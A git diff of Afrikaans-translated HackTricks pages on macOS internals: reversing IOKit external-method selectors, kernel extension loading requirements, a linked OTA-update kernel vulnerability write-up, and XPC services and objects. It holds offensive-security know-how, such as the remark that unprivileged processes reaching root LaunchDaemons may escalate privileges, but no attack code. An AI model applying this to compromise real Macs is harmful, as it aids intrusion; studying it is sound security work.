@ -205,11 +210,11 @@ Vir die volgende stap moet ons die **`IOExternalMethodDispatch2022`** struktuur
<figure><img src="../../../.gitbook/assets/image (1170).png" alt=""><figcaption></figcaption></figure>
Volgens die `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` kan jy baie data sien:
Nou, volg die `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` kan jy 'n baie data sien:
<figure><img src="../../../.gitbook/assets/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Verander die Datatipe na **`IOExternalMethodDispatch2022:`**
Verander die Data Type na **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../.gitbook/assets/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
@ -217,14 +222,29 @@ na die verandering:
<figure><img src="../../../.gitbook/assets/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
En aangesien ons nou daar het 'n **array van 7 elemente** (kontroleer die finale gedekompilde kode), klik om 'n array van 7 elemente te skep:
En soos ons nou daar is, het ons 'n **array van 7 elemente** (kyk die finale dekompilde kode), klik om 'n array van 7 elemente te skep:
<figure><img src="../../../.gitbook/assets/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
Nadat die array geskep is, kan jy al die uitgevoerde funksies sien:
Nadat die array geskep is, kan jy al die geexporteerde funksies sien:
<figure><img src="../../../.gitbook/assets/image (1181).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
As jy onthou, om 'n **uitgevoerde** funksie vanaf gebruikerspas te **roep**, hoef ons nie die naam van die funksie te noem nie, maar die **selekteernommer**. Hier kan jy sien dat die selekteerder **0** die funksie **`initializeDecoder`** is, die selekteerder **1** is **`startDecoder`**, die selekteerder **2** **`initializeEncoder`**...
As jy onthou, om 'n **geexporteerde** funksie vanuit gebruikersruimte te **roep**, hoef ons nie die naam van die funksie te noem nie, maar die **selector nommer**. Hier kan jy sien dat die selector **0** die funksie **`initializeDecoder`** is, die selector **1** is **`startDecoder`**, die selector **2** **`initializeEncoder`**...
{% endhint %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# macOS Kernel Uitbreidings
# macOS Kernel Extensions
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Sien die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
Kernel-uitbreidings (Kexts) is **pakkette** met 'n **`.kext`**-uitbreiding wat **direk in die macOS-kernelruimte gelaai word**, wat addisionele funksionaliteit aan die hoofbedryfstelsel bied.
Kernel uitbreidings (Kexts) is **pakkette** met 'n **`.kext`** uitbreiding wat **direk in die macOS kernel ruimte gelaai word**, wat addisionele funksionaliteit aan die hoofbedryfstelsel bied.
### Vereistes
Dit is vanselfsprekend so kragtig dat dit **ingewikkeld is om 'n kernel-uitbreiding te laai**. Dit is die **vereistes** wat 'n kernel-uitbreiding moet nakom om gelaai te word:
Dit is duidelik dat dit so kragtig is dat dit **gekompliseerd is om 'n kernel uitbreiding te laai**. Dit is die **vereistes** waaraan 'n kernel uitbreiding moet voldoen om gelaai te kan word:
* Wanneer jy **herstelmodus betree**, moet kernel-**uitbreidings toegelaat word** om gelaai te word:
* Wanneer **jy herstelmodus binnegaan**, moet kernel **uitbreidings toegelaat word** om gelaai te word:
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
* Die kernel-uitbreiding moet **onderteken wees met 'n kernel-kodesertifikaat**, wat slegs deur Apple **toegeken kan word**. Wie sal in detail die maatskappy en die redes waarom dit benodig word, ondersoek.
* Die kernel-uitbreiding moet ook **genoteer wees**, Apple sal dit vir malware kan nagaan.
* Dan is die **root**-gebruiker die een wat die kernel-uitbreiding kan **laai** en die lêers binne die pakkie moet aan **root** **behoort**.
* Tydens die oplaai-proses moet die pakkie voorberei word in 'n **beskermde nie-root-plek**: `/Library/StagedExtensions` (vereis die `com.apple.rootless.storage.KernelExtensionManagement` toekenning).
* Laastens, wanneer daar gepoog word om dit te laai, sal die gebruiker 'n [**bevestigingsversoek ontvang**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) en, indien aanvaar, moet die rekenaar **herlaai** word om dit te laai.
* Die kernel uitbreiding moet **onderteken wees met 'n kernel kode ondertekeningssertifikaat**, wat slegs **deur Apple** toegestaan kan word. Wie die maatskappy en die redes waarom dit nodig is, in detail sal hersien.
* Die kernel uitbreiding moet ook **genotarieer** wees, Apple sal dit vir malware kan nagaan.
* Dan is die **root** gebruiker die een wat die **kernel uitbreiding kan laai** en die lêers binne die pakkie moet **aan root behoort**.
* Tydens die oplaadproses moet die pakkie in 'n **beskermde nie-root ligging** voorberei word: `/Library/StagedExtensions` (vereis die `com.apple.rootless.storage.KernelExtensionManagement` toestemming).
* Laastens, wanneer daar probeer word om dit te laai, sal die gebruiker [**'n bevestigingsversoek ontvang**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) en, indien aanvaar, moet die rekenaar **herbegin** word om dit te laai.
### Laaiproses
### Laai proses
In Catalina was dit so: Dit is interessant om op te let dat die **verifikasieproses** in **gebruikersruimte** plaasvind. Tog kan slegs aansoeke met die **`com.apple.private.security.kext-management`** toekenning die kernel vra om 'n uitbreiding te laai: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
In Catalina was dit soos volg: Dit is interessant om op te let dat die **verifikasie** proses in **gebruikersland** plaasvind. Dit is egter slegs toepassings met die **`com.apple.private.security.kext-management`** toestemming wat **die kernel kan vra om 'n uitbreiding te laai**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** kliek **begin** die **verifikasieproses** vir die laai van 'n uitbreiding
* Dit sal met **`kextd`** praat deur 'n **Mach-diens** te stuur.
1. **`kextutil`** cli **begin** die **verifikasie** proses om 'n uitbreiding te laai
* Dit sal met **`kextd`** praat deur 'n **Mach diens** te gebruik.
2. **`kextd`** sal verskeie dinge nagaan, soos die **handtekening**
* Dit sal met **`syspolicyd`** praat om te **kontroleer** of die uitbreiding gelaai kan word.
3. **`syspolicyd`** sal die **gebruiker** **vra** as die uitbreiding nie voorheen gelaai is nie.
3. **`syspolicyd`** sal die **gebruiker** **vra** of die uitbreiding nie voorheen gelaai is nie.
* **`syspolicyd`** sal die resultaat aan **`kextd`** rapporteer
4. **`kextd`** sal uiteindelik die kernel kan sê om die uitbreiding te laai
4. **`kextd`** sal uiteindelik in staat wees om die kernel te **vertel om** die uitbreiding te laai
As **`kextd`** nie beskikbaar is nie, kan **`kextutil`** dieselfde kontroles uitvoer.
@ -49,14 +52,17 @@ As **`kextd`** nie beskikbaar is nie, kan **`kextutil`** dieselfde kontroles uit
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Sien die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# macOS Kernel Kwesbaarhede
# macOS Kernel Kw vulnerabilities
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy vir 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) word verskeie kwesbaarhede verduidelik wat dit moontlik gemaak het om die kernel te kompromitteer deur die sagteware-opdatering te kompromitteer.\
[**In hierdie verslag**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) word verskeie kwesbaarhede verduidelik wat die kern gecompromitteer het deur die sagteware-opdatering te kompromitteer.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy vir 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,47 @@
# macOS XPC
## macOS XPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Basiese Inligting
## Basic Information
XPC, wat staan vir XNU (die kernel wat deur macOS gebruik word) interproseskommunikasie, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n meganisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se veiligheidsparadigma wat die **skepping van voorreg-geskeide toepassings** moontlik maak waar elke **komponent** met **slegs die toestemmings wat dit nodig het** om sy werk te doen, loop, en sodoende die potensiële skade van 'n gekompromitteerde proses beperk.
XPC, wat staan vir XNU (die kern wat deur macOS gebruik word) inter-Process Communication, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n mekanisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se sekuriteitsparadigma, wat die **skepping van privilige-geskeide toepassings** moontlik maak waar elke **komponent** loop met **slegs die regte wat dit nodig het** om sy werk te doen, en so die potensiële skade van 'n gecompromitteerde proses beperk.
XPC maak gebruik van 'n vorm van interproseskommunikasie (IPC), wat 'n stel metodes is vir verskillende programme wat op dieselfde stelsel loop om data heen en weer te stuur.
XPC gebruik 'n vorm van Inter-Process Communication (IPC), wat 'n stel metodes is vir verskillende programme wat op dieselfde stelsel loop om data heen en weer te stuur.
Die primêre voordele van XPC sluit in:
1. **Veiligheid**: Deur werk in verskillende prosesse te skei, kan elke proses slegs die toestemmings kry wat dit nodig het. Dit beteken dat selfs as 'n proses gekompromitteer word, dit beperkte vermoë het om skade aan te rig.
2. **Stabiliteit**: XPC help om ongelukke te isoleer tot die komponent waar dit plaasvind. As 'n proses afbreek, kan dit herbegin word sonder om die res van die stelsel te affekteer.
3. **Prestasie**: XPC maak maklike gelyktydigheid moontlik, aangesien verskillende take gelyktydig in verskillende prosesse uitgevoer kan word.
1. **Sekuriteit**: Deur werk in verskillende prosesse te skei, kan elke proses slegs die regte toegeken word wat dit nodig het. Dit beteken dat selfs al word 'n proses gecompromitteer, dit beperkte vermoë het om skade aan te rig.
2. **Stabiliteit**: XPC help om crashes te isoleer na die komponent waar hulle voorkom. As 'n proses crash, kan dit herbegin word sonder om die res van die stelsel te beïnvloed.
3. **Prestasie**: XPC maak dit maklik om gelijktijdigheid te hê, aangesien verskillende take gelyktydig in verskillende prosesse uitgevoer kan word.
Die enigste **nadeel** is dat **die skeiding van 'n toepassing in verskeie prosesse** wat kommunikeer via XPC **minder doeltreffend** is. Maar in hedendaagse stelsels is dit amper onmerkbaar en die voordele is beter.
Die enigste **nadeel** is dat **die skeiding van 'n toepassing in verskeie prosesse** wat via XPC kommunikeer **minder doeltreffend** is. Maar in vandag se stelsels is dit amper nie opmerklik nie en die voordele is beter.
### Toepassing-spesifieke XPC-diens
## Application Specific XPC services
Die XPC-komponente van 'n toepassing is **binne die toepassing self**. Byvoorbeeld, in Safari kan jy hulle vind in **`/Applications/Safari.app/Contents/XPCServices`**. Hulle het die uitbreiding **`.xpc`** (soos **`com.apple.Safari.SandboxBroker.xpc`**) en is **ook bundels** met die hoofbinêre binne-in dit: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` en 'n `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Die XPC-komponente van 'n toepassing is **binne die toepassing self.** Byvoorbeeld, in Safari kan jy hulle vind in **`/Applications/Safari.app/Contents/XPCServices`**. Hulle het 'n uitbreiding **`.xpc`** (soos **`com.apple.Safari.SandboxBroker.xpc`**) en is **ook bundels** saam met die hoof-binary binne-in: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` en 'n `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Soos jy dalk dink, sal 'n **XPC-komponent verskillende toestemmings en voorregte** hê as die ander XPC-komponente of die hooftoepassingsbinêre. BEHALWE as 'n XPC-diens gekonfigureer is met [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) wat op "True" gestel is in sy **Info.plist**-lêer. In hierdie geval sal die XPC-diens in dieselfde veiligheidssessie loop as die toepassing wat dit geroep het.
Soos jy dalk dink, sal 'n **XPC-komponent verskillende regte en voorregte hê** as die ander XPC-komponente of die hoof-toepassing binary. BEHALWE as 'n XPC-diens geconfigureer is met [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) wat op “True” in sy **Info.plist**-lêer gestel is. In hierdie geval sal die XPC-diens in die **dieselfde sekuriteitsessie as die toepassing** wat dit aangeroep het, loop.
XPC-diens word **begin** deur **launchd** wanneer dit nodig is en **afgeskakel** sodra alle take **voltooi** is om stelselhulpbronne vry te maak. **Toepassing-spesifieke XPC-komponente kan slegs deur die toepassing gebruik word**, wat die risiko wat verband hou met potensiële kwesbaarhede verminder.
XPC-dienste word **gestart** deur **launchd** wanneer nodig en **afgeskakel** sodra alle take **voltooi** is om stelselhulpbronne vry te maak. **Toepassing-spesifieke XPC-komponente kan slegs deur die toepassing gebruik word**, wat die risiko wat met potensiële kwesbaarhede geassosieer word, verminder.
### Stelselwye XPC-diens
## System Wide XPC services
Stelselwye XPC-diens is toeganklik vir alle gebruikers. Hierdie dienste, hetsy launchd of Mach-tipe, moet **in plist-lêers** gedefinieer word wat in gespesifiseerde gidsies soos **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, of **`/Library/LaunchAgents`** geleë is.
Hierdie plist-lêers sal 'n sleutel hê met die naam **`MachServices`** met die naam van die diens, en 'n sleutel met die naam **`Program`** met die pad na die binêre lêer:
Stelsel-wye XPC-dienste is beskikbaar vir alle gebruikers. Hierdie dienste, hetsy launchd of Mach-tipe, moet **gedefinieer word in plist** lêers wat in gespesifiseerde gidse soos **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, of **`/Library/LaunchAgents`** geleë is.
Hierdie plists lêers sal 'n sleutel hê wat **`MachServices`** genoem word met die naam van die diens, en 'n sleutel wat **`Program`** genoem word met die pad na die binary:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -77,33 +75,82 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict>
</plist>
```
Diegene in **`LaunchDameons`** word deur root uitgevoer. So as 'n nie-bevoegde proses met een van hierdie kan praat, kan dit in staat wees om bevoegdhede te verhoog.
Diegene in **`LaunchDameons`** word deur root uitgevoer. As 'n onbevoorregte proses met een van hierdie kan kommunikeer, kan dit in staat wees om voorregte te verhoog.
## XPC Objekte
### XPC Gebeurtenisboodskappe
* **`xpc_object_t`**
Toepassings kan inteken op verskillende gebeurtenisboodskappe, wat hulle in staat stel om op aanvraag geïnisieer te word wanneer sulke gebeure plaasvind. Die opstelling vir hierdie dienste word gedoen in **`launchd plist-lêers`**, wat in dieselfde gids as die voriges geleë is en 'n ekstra **`LaunchEvent`** sleutel bevat.
Elke XPC boodskap is 'n woordeboek objek wat die serialisering en deserialisering vereenvoudig. Boonop verklaar `libxpc.dylib` die meeste van die datatipes, so dit is moontlik om te maak dat die ontvangde data van die verwagte tipe is. In die C API is elke objek 'n `xpc_object_t` (en sy tipe kan nagegaan word met `xpc_get_type(object)`).\
Boonop kan die funksie `xpc_copy_description(object)` gebruik word om 'n string voorstelling van die objek te verkry wat nuttig kan wees vir foutopsporing.\
Hierdie objekte het ook 'n paar metodes om te bel soos `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
#### XPC Verbindende Prosessetoets
Die `xpc_object_t` word geskep deur die `xpc_<objetType>_create` funksie aan te roep, wat intern `_xpc_base_create(Class, Size)` aanroep waar die tipe van die klas van die objek (een van `XPC_TYPE_*`) en die grootte daarvan aangedui word (sommige ekstra 40B sal by die grootte vir metadata gevoeg word). Dit beteken dat die data van die objek by die offset 40B sal begin.\
Daarom is die `xpc_<objectType>_t` 'n soort subklas van die `xpc_object_t` wat 'n subklas van `os_object_t*` sou wees.
Wanneer 'n proses probeer om 'n metode te roep via 'n XPC-verbindig, moet die XPC-diens nagaan of daardie proses toegelaat word om te verbind. Hier is die algemene maniere om dit te toets en die algemene valstrikke:
{% hint style="warning" %}
Let daarop dat dit die ontwikkelaar moet wees wat `xpc_dictionary_[get/set]_<objectType>` gebruik om die tipe en werklike waarde van 'n sleutel te kry of in te stel.
{% endhint %}
* **`xpc_pipe`**
'n **`xpc_pipe`** is 'n FIFO-pyp wat prosesse kan gebruik om te kommunikeer (die kommunikasie gebruik Mach-boodskappe).\
Dit is moontlik om 'n XPC-bediener te skep deur `xpc_pipe_create()` of `xpc_pipe_create_from_port()` aan te roep om dit met 'n spesifieke Mach-poort te skep. Dan, om boodskappe te ontvang, is dit moontlik om `xpc_pipe_receive` en `xpc_pipe_try_receive` aan te roep.
Let daarop dat die **`xpc_pipe`** objek 'n **`xpc_object_t`** is met inligting in sy struktuur oor die twee Mach-poorte wat gebruik word en die naam (indien enige). Die naam, byvoorbeeld, die daemon `secinitd` in sy plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` konfigureer die pyp genaamd `com.apple.secinitd`.
'n Voorbeeld van 'n **`xpc_pipe`** is die **bootstrap pyp** wat deur **`launchd`** geskep word wat die deel van Mach-poorte moontlik maak.
* **`NSXPC*`**
Dit is Objective-C hoëvlak objekte wat die abstraksie van XPC verbindings toelaat.\
Boonop is dit makliker om hierdie objekte met DTrace te foutopspoor as die vorige.
* **`GCD Queues`**
XPC gebruik GCD om boodskappe oor te dra, boonop genereer dit sekere afleweringsqueues soos `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
## XPC Dienste
Dit is **bundels met `.xpc`** uitbreiding wat binne die **`XPCServices`** gids van ander projekte geleë is en in die `Info.plist` het hulle die `CFBundlePackageType` op **`XPC!`** gestel.\
